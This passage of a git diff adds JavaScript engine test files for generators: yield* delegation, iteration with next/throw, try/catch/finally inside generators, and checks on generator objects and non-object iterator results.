+assertDeepEq(expected, collect_results(yield_results(expected, 20)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-6.js b/js/src/tests/non262/generators/delegating-yield-6.js
new file mode 100644
index 0000000000..8b358525c4
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-6.js
@@ -0,0 +1,56 @@
+// Test that each yield* loop just checks "done", and "value" is only
+// fetched once at the end.
+
+var log = "";
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+function Iter(val, count) {
+ function next() {
+ log += 'n';
+ return {
+ get done() { log += "d"; return count-- == 0; },
+ get value() { log += "v"; return val; }
+ }
+ }
+
+ function iterator() {
+ log += 'i';
+ return this;
+ }
+
+ this.next = next;
+ this[Symbol.iterator] = iterator;
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var inner = new Iter(42, 5);
+var outer = delegate(inner);
+
+// Five values, and one terminal value.
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+
+assertEq(log, "indndndndndndv");
+
+// Outer's dead, man. Outer's dead.
+assertDeepEq(outer.next(), {value: undefined, done: true});
+
+// No more checking the iterator.
+assertEq(log, "indndndndndndv");
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-7.js b/js/src/tests/non262/generators/delegating-yield-7.js
new file mode 100644
index 0000000000..f7c9e86cc5
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-7.js
@@ -0,0 +1,38 @@
+// The iteratee of yield* can be a proxy.
+
+function results(results) {
+ var i = 0;
+ function iterator() {
+ return this;
+ }
+ function next() {
+ return results[i++];
+ }
+ var ret = { next: next }
+ ret[Symbol.iterator] = iterator;
+ return ret;
+}
+
+function* yield_results(expected) {
+ return yield* new Proxy(results(expected), {});
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+// Sanity check.
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-8.js b/js/src/tests/non262/generators/delegating-yield-8.js
new file mode 100644
index 0000000000..c17d6ea26a
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-8.js
@@ -0,0 +1,44 @@
+// Test that yield* can appear in a loop, and alongside yield.
+
+function* countdown(n) {
+ while (n > 0) {
+ yield n;
+ yield* countdown(--n);
+ }
+ return 34;
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+var expected = [
+ // yield in countdown(3), n == 3
+ {value: 3, done: false},
+ // yield in yield* countdown(2), n == 2
+ {value: 2, done: false},
+ // yield in nested yield* countdown(1), n == 1
+ {value: 1, done: false},
+ // countdown(0) yields no values
+ // second go-through of countdown(2) loop, n == 1
+ {value: 1, done: false},
+ // second go-through of countdown(3) loop, n == 2
+ {value: 2, done: false},
+ // yield in yield* countdown(1), n == 1
+ {value: 1, done: false},
+ // third go-through of countdown(3) loop, n == 1
+ {value: 1, done: false},
+ // done
+ {value: 34, done: true}
+];
+
+assertDeepEq(expected, collect_results(countdown(3)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/delegating-yield-9.js b/js/src/tests/non262/generators/delegating-yield-9.js
new file mode 100644
index 0000000000..60c35b94d7
--- /dev/null
+++ b/js/src/tests/non262/generators/delegating-yield-9.js
@@ -0,0 +1,37 @@
+// Test that yield* can appear in a loop, and inside yield.
+
+function* countdown(n) {
+ while (n > 0) {
+ yield (yield* countdown(--n));
+ }
+ return 34;
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+var expected = [
+ // Only 34 yielded from the "yield" and the last return make it out.
+ // Three yields in countdown(3), two in countdown(2), and one in
+ // countdown(1) (called twice).
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: true}, // final
+];
+
+assertDeepEq(collect_results(countdown(3)), expected);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/fibonacci-matrix-generator.js b/js/src/tests/non262/generators/fibonacci-matrix-generator.js
new file mode 100644
index 0000000000..dbfee58272
--- /dev/null
+++ b/js/src/tests/non262/generators/fibonacci-matrix-generator.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "Fibonacci generator by matrix multiplication";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function* fib()
+{
+ var init = [1, 0];
+ var mx = [[1, 1], [1, 0]];
+ while (true)
+ {
+ yield init[1];
+ var tmp = [,];
+ tmp[0] =
+ mx[0][0]*init[0] + mx[0][1]*init[1];
+ tmp[1] =
+ mx[1][0]*init[0] + mx[1][1]*init[1];
+ init = tmp;
+ }
+}
+
+var failed = false;
+var it = fib();
+
+try
+{
+ if (it.next().value != 0)
+ throw "F_0 failed";
+ if (it.next().value != 1)
+ throw "F_1 failed";
+ if (it.next().value != 1)
+ throw "F_2 failed";
+ if (it.next().value != 2)
+ throw "F_3 failed";
+ if (it.next().value != 3)
+ throw "F_4 failed";
+ if (it.next().value != 5)
+ throw "F_5 failed";
+ if (it.next().value != 8)
+ throw "F_6 failed";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/forbidden-as-consequent.js b/js/src/tests/non262/generators/forbidden-as-consequent.js
new file mode 100644
index 0000000000..13647e154b
--- /dev/null
+++ b/js/src/tests/non262/generators/forbidden-as-consequent.js
@@ -0,0 +1,11 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertThrowsInstanceOf(() => eval("if (1) function* foo() {}"),
+ SyntaxError);
+assertThrowsInstanceOf(() => eval("'use strict'; if (1) function* foo() {}"),
+ SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/gen-with-call-obj.js b/js/src/tests/non262/generators/gen-with-call-obj.js
new file mode 100644
index 0000000000..9f7751a3dc
--- /dev/null
+++ b/js/src/tests/non262/generators/gen-with-call-obj.js
@@ -0,0 +1,36 @@
+var foo;
+
+function* gen() {
+ var x = 0;
+ foo = function() { return x++; }
+ for (var i = 0; i < 10; ++i)
+ yield x++;
+}
+
+var j = 0;
+for (i of gen())
+ assertEq(i, j++);
+
+// now mess up the stack
+
+function f1(x) {
+ var a, b, c, d, e, f, g;
+ return x <= 0 ? 0 : f1(x-1);
+}
+f1(10);
+function f2(x) {
+ var a = x, b = x;
+ return x <= 0 ? 0 : f2(x-1);
+}
+f2(10);
+
+// now observe gen's call object (which should have been put)
+
+gc();
+assertEq(foo(), 10);
+gc();
+assertEq(foo(), 11);
+gc();
+assertEq(foo(), 12);
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/generators/iteration.js b/js/src/tests/non262/generators/iteration.js
new file mode 100644
index 0000000000..6eb6a51aa3
--- /dev/null
+++ b/js/src/tests/non262/generators/iteration.js
@@ -0,0 +1,574 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test aspects of the generator runtime.
+
+
+var GeneratorFunction = (function*(){yield 1;}).constructor;
+
+
+function TestGeneratorResultPrototype() {
+ function* g() { yield 1; }
+ var iter = g();
+ assertIteratorNext(iter, 1);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+}
+TestGeneratorResultPrototype();
+
+function TestGenerator(g, expected_values_for_next,
+ send_val, expected_values_for_send) {
+ function testNext(thunk) {
+ var iter = thunk();
+ for (var i = 0; i < expected_values_for_next.length; i++) {
+ assertIteratorResult(iter.next(), expected_values_for_next[i],
+ i == expected_values_for_next.length - 1);
+ }
+ assertIteratorDone(iter, undefined);
+ }
+ function testSend(thunk) {
+ var iter = thunk();
+ for (var i = 0; i < expected_values_for_send.length; i++) {
+ assertIteratorResult(iter.next(send_val),
+ expected_values_for_send[i],
+ i == expected_values_for_send.length - 1);
+ }
+ assertIteratorDone(iter, undefined);
+ }
+ function testThrow(thunk) {
+ for (var i = 0; i < expected_values_for_next.length; i++) {
+ var iter = thunk();
+ for (var j = 0; j < i; j++) {
+ assertIteratorResult(iter.next(),
+ expected_values_for_next[j],
+ j == expected_values_for_next.length - 1);
+ }
+ var Sentinel = function () {}
+ assertThrowsInstanceOf(function () { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ }
+
+ testNext(g);
+ testSend(g);
+ testThrow(g);
+
+ testNext(function*() { return yield* g(); });
+ testSend(function*() { return yield* g(); });
+ testThrow(function*() { return yield* g(); });
+
+ if (g instanceof GeneratorFunction) {
+ testNext(function() { return g(); });
+ testSend(function() { return g(); });
+ testThrow(function() { return g(); });
+ }
+}
+
+TestGenerator(function* g1() { },
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(function* g2() { yield 1; },
+ [1, undefined],
+ "foo",
+ [1, undefined]);
+
+TestGenerator(function* g3() { yield 1; yield 2; },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, undefined]);
+
+TestGenerator(function* g4() { yield 1; yield 2; return 3; },
+ [1, 2, 3],
+ "foo",
+ [1, 2, 3]);
+
+TestGenerator(function* g5() { return 1; },
+ [1],
+ "foo",
+ [1]);
+
+TestGenerator(function* g6() { var x = yield 1; return x; },
+ [1, undefined],
+ "foo",
+ [1, "foo"]);
+
+TestGenerator(function* g7() { var x = yield 1; yield 2; return x; },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, "foo"]);
+
+TestGenerator(function* g8() { for (var x = 0; x < 4; x++) { yield x; } },
+ [0, 1, 2, 3, undefined],
+ "foo",
+ [0, 1, 2, 3, undefined]);
+
+// Generator with arguments.
+TestGenerator(
+ function g9() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// Too few arguments.
+TestGenerator(
+ function g10() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi");
+ },
+ ["fee", "fi", undefined, undefined, undefined],
+ "foo",
+ ["fee", "fi", undefined, undefined, undefined]);
+
+// Too many arguments.
+TestGenerator(
+ function g11() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum", "I smell the blood of an Englishman");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// The arguments object.
+TestGenerator(
+ function g12() {
+ return (function*(a, b, c, d) {
+ for (var i = 0; i < arguments.length; i++) {
+ yield arguments[i];
+ }
+ })("fee", "fi", "fo", "fum", "I smell the blood of an Englishman");
+ },
+ ["fee", "fi", "fo", "fum", "I smell the blood of an Englishman",
+ undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", "I smell the blood of an Englishman",
+ undefined]);
+
+// Access to captured free variables.
+TestGenerator(
+ function g13() {
+ return (function(a, b, c, d) {
+ return (function*() {
+ yield a; yield b; yield c; yield d;
+ })();
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// Abusing the arguments object.
+TestGenerator(
+ function g14() {
+ return (function*(a, b, c, d) {
+ arguments[0] = "Be he live";
+ arguments[1] = "or be he dead";
+ arguments[2] = "I'll grind his bones";
+ arguments[3] = "to make my bread";
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["Be he live", "or be he dead", "I'll grind his bones", "to make my bread",
+ undefined],
+ "foo",
+ ["Be he live", "or be he dead", "I'll grind his bones", "to make my bread",
+ undefined]);
+
+// Abusing the arguments object: strict mode.
+TestGenerator(
+ function g15() {
+ return (function*(a, b, c, d) {
+ "use strict";
+ arguments[0] = "Be he live";
+ arguments[1] = "or be he dead";
+ arguments[2] = "I'll grind his bones";
+ arguments[3] = "to make my bread";
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// GC.
+if (typeof gc == 'function') {
+ TestGenerator(function* g16() { yield "baz"; gc(); yield "qux"; },
+ ["baz", "qux", undefined],
+ "foo",
+ ["baz", "qux", undefined]);
+}
+
+// Receivers.
+TestGenerator(
+ function g17() {
+ function* g() { yield this.x; yield this.y; }
+ var o = { start: g, x: 1, y: 2 };
+ return o.start();
+ },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, undefined]);
+
+// FIXME: Capture the generator object as "this" in new g(). Bug 907742.
+// TestGenerator(
+// function g18() {
+// function* g() { yield this.x; yield this.y; }
+// var iter = new g;
+// iter.x = 1;
+// iter.y = 2;
+// return iter;
+// },
+// [1, 2, undefined],
+// "foo",
+// [1, 2, undefined]);
+
+TestGenerator(
+ function* g19() {
+ var x = 1;
+ yield x;
+ with({x:2}) { yield x; }
+ yield x;
+ },
+ [1, 2, 1, undefined],
+ "foo",
+ [1, 2, 1, undefined]);
+
+TestGenerator(
+ function* g20() { yield (1 + (yield 2) + 3); },
+ [2, NaN, undefined],
+ "foo",
+ [2, "1foo3", undefined]);
+
+TestGenerator(
+ function* g21() { return (1 + (yield 2) + 3); },
+ [2, NaN],
+ "foo",
+ [2, "1foo3"]);
+
+TestGenerator(
+ function* g22() { yield (1 + (yield 2) + 3); yield (4 + (yield 5) + 6); },
+ [2, NaN, 5, NaN, undefined],
+ "foo",
+ [2, "1foo3", 5, "4foo6", undefined]);
+
+TestGenerator(
+ function* g23() {
+ return (yield (1 + (yield 2) + 3)) + (yield (4 + (yield 5) + 6));
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Rewind a try context with and without operands on the stack.
+TestGenerator(
+ function* g24() {
+ try {
+ return (yield (1 + (yield 2) + 3)) + (yield (4 + (yield 5) + 6));
+ } catch (e) {
+ throw e;
+ }
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Yielding in a catch context, with and without operands on the stack.
+TestGenerator(
+ function* g25() {
+ try {
+ throw (yield (1 + (yield 2) + 3))
+ } catch (e) {
+ if (typeof e == 'object') throw e;
+ return e + (yield (4 + (yield 5) + 6));
+ }
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Generator function instances.
+TestGenerator(GeneratorFunction(),
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(new GeneratorFunction(),
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(GeneratorFunction('yield 1;'),
+ [1, undefined],
+ "foo",
+ [1, undefined]);
+
+TestGenerator(
+ function() { return GeneratorFunction('x', 'y', 'yield x + y;')(1, 2) },
+ [3, undefined],
+ "foo",
+ [3, undefined]);
+
+// Access to this with formal arguments.
+TestGenerator(
+ function () {
+ return ({ x: 42, g: function* (a) { yield this.x } }).g(0);
+ },
+ [42, undefined],
+ "foo",
+ [42, undefined]);
+
+function TestTryCatch(instantiate) {
+ function* g() { yield 1; try { yield 2; } catch (e) { yield e; } yield 3; }
+ function Sentinel() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+}
+TestTryCatch(function (g) { return g(); });
+TestTryCatch(function* (g) { return yield* g(); });
+
+function TestTryFinally(instantiate) {
+ function* g() { yield 1; try { yield 2; } finally { yield 3; } yield 4; }
+ function Sentinel() {}
+ function Sentinel2() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorResult(iter.throw(new Sentinel), 3, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorResult(iter.throw(new Sentinel), 3, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel2); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+
+ function Test7(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test7(instantiate(g));
+}
+TestTryFinally(function (g) { return g(); });
+TestTryFinally(function* (g) { return yield* g(); });
+
+function TestNestedTry(instantiate) {
+ function* g() {
+ try {
+ yield 1;
+ try { yield 2; } catch (e) { yield e; }
+ yield 3;
+ } finally {
+ yield 4;
+ }
+ yield 5;
+ }
+ function Sentinel() {}
+ function Sentinel2() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorNext(iter, 5);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorResult(iter.throw(new Sentinel), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorResult(iter.throw(new Sentinel), 4, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel2); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorNext(iter, 5);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorResult(iter.throw(new Sentinel2), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+
+ function Test7(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorResult(iter.throw(new Sentinel2), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test7(instantiate(g));
+
+ // That's probably enough.
+}
+TestNestedTry(function (g) { return g(); });
+TestNestedTry(function* (g) { return yield* g(); });
+
+function TestRecursion() {
+ function TestNextRecursion() {
+ function* g() { yield iter.next(); }
+ var iter = g();
+ return iter.next();
+ }
+ function TestSendRecursion() {
+ function* g() { yield iter.next(42); }
+ var iter = g();
+ return iter.next();
+ }
+ function TestThrowRecursion() {
+ function* g() { yield iter.throw(1); }
+ var iter = g();
+ return iter.next();
+ }
+ assertThrowsInstanceOf(TestNextRecursion, TypeError);
+ assertThrowsInstanceOf(TestSendRecursion, TypeError);
+ assertThrowsInstanceOf(TestThrowRecursion, TypeError);
+}
+TestRecursion();
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/iterator-next-non-object.js b/js/src/tests/non262/generators/iterator-next-non-object.js
new file mode 100644
index 0000000000..453f4cd876
--- /dev/null
+++ b/js/src/tests/non262/generators/iterator-next-non-object.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 1016936;
+var summary = "IteratorNext should throw if the value returned by iterator.next() is not an object.";
+
+print(BUGNUMBER + ": " + summary);
+
+var nonobjs = [
+ null,
+ undefined,
+ 1,
+ true,
+ "a",
+ Symbol.iterator,
+];
+
+function createIterable(v) {
+ var iterable = {};
+ iterable[Symbol.iterator] = function () {
+ return {
+ next: function () {
+ return v;
+ }
+ };
+ };
+ return iterable;
+}
+
+function f() {
+}
+
+for (var nonobj of nonobjs) {
+ var iterable = createIterable(nonobj);
+
+ assertThrowsInstanceOf(() => [...iterable], TypeError);
+ assertThrowsInstanceOf(() => f(...iterable), TypeError);
+
+ assertThrowsInstanceOf(() => { for (var x of iterable) {} }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ var [a] = iterable;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ var [...a] = iterable;
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => Array.from(iterable), TypeError);
+ assertThrowsInstanceOf(() => new Map(iterable), TypeError);
+ assertThrowsInstanceOf(() => new Set(iterable), TypeError);
+ assertThrowsInstanceOf(() => new WeakMap(iterable), TypeError);
+ assertThrowsInstanceOf(() => new WeakSet(iterable), TypeError);
+ // FIXME: bug 1232266
+ // assertThrowsInstanceOf(() => new Int8Array(iterable), TypeError);
+ assertThrowsInstanceOf(() => Int8Array.from(iterable), TypeError);
+
+ assertThrowsInstanceOf(() => {
+ var g = function*() {
+ yield* iterable;
+ };
+ var v = g();
+ v.next();
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/iterator-toString.js b/js/src/tests/non262/generators/iterator-toString.js
new file mode 100644
index 0000000000..78e4943950
--- /dev/null
+++ b/js/src/tests/non262/generators/iterator-toString.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "gen.toString() omitting 'yield' from value";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function* gen()
+{
+ yield 17;
+}
+
+try
+{
+ var str = gen.toString();
+ var index = str.search(/yield/);
+
+ if (index < 0)
+ throw "yield not found in str: " + str;
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/nested-yield.js b/js/src/tests/non262/generators/nested-yield.js
new file mode 100644
index 0000000000..24729f5f37
--- /dev/null
+++ b/js/src/tests/non262/generators/nested-yield.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "YieldExpression is and contains an AssignmentExpression";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function* gen()
+{
+ yield (yield (yield 7));
+}
+
+var it = gen();
+
+try
+{
+ if (it.next().value != 7)
+ throw "7 not yielded";
+ if (it.next(17).value != 17)
+ throw "passed-in 17 not yielded";
+ if (it.next(undefined).value !== undefined)
+ throw "should be able to yield undefined";
+
+ it.next();
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/objects.js b/js/src/tests/non262/generators/objects.js
new file mode 100644
index 0000000000..1ffdf48fab
--- /dev/null
+++ b/js/src/tests/non262/generators/objects.js
@@ -0,0 +1,49 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test aspects of the generator runtime.
+
+// Test the properties and prototype of a generator object.
+function TestGeneratorObject() {
+ function* g() { yield 1; }
+
+ var iter = g();
+ assertEq(Object.getPrototypeOf(iter), g.prototype);
+ assertTrue(iter instanceof g);
+ assertEq(String(iter), "[object Generator]");
+ assertDeepEq(Object.getOwnPropertyNames(iter), []);
+ assertNotEq(g(), iter);
+}
+TestGeneratorObject();
+
+
+// Test the methods of generator objects.
+function TestGeneratorObjectMethods() {
+ function* g() { yield 1; }
+ var iter = g();
+
+ assertEq(iter.next.length, 1);
+ assertEq(iter.return.length, 1);
+ assertEq(iter.throw.length, 1);
+
+ function TestNonGenerator(non_generator) {
+ assertThrowsInstanceOf(function() { iter.next.call(non_generator); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.next.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.return.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.throw.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.close.call(non_generator); }, TypeError);
+ }
+
+ TestNonGenerator(1);
+ TestNonGenerator({});
+ TestNonGenerator(function(){});
+ TestNonGenerator(g);
+ TestNonGenerator(g.prototype);
+}
+TestGeneratorObjectMethods();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/pi-generator.js b/js/src/tests/non262/generators/pi-generator.js
new file mode 100644
index 0000000000..b5d4bf47b8
--- /dev/null
+++ b/js/src/tests/non262/generators/pi-generator.js
@@ -0,0 +1,57 @@
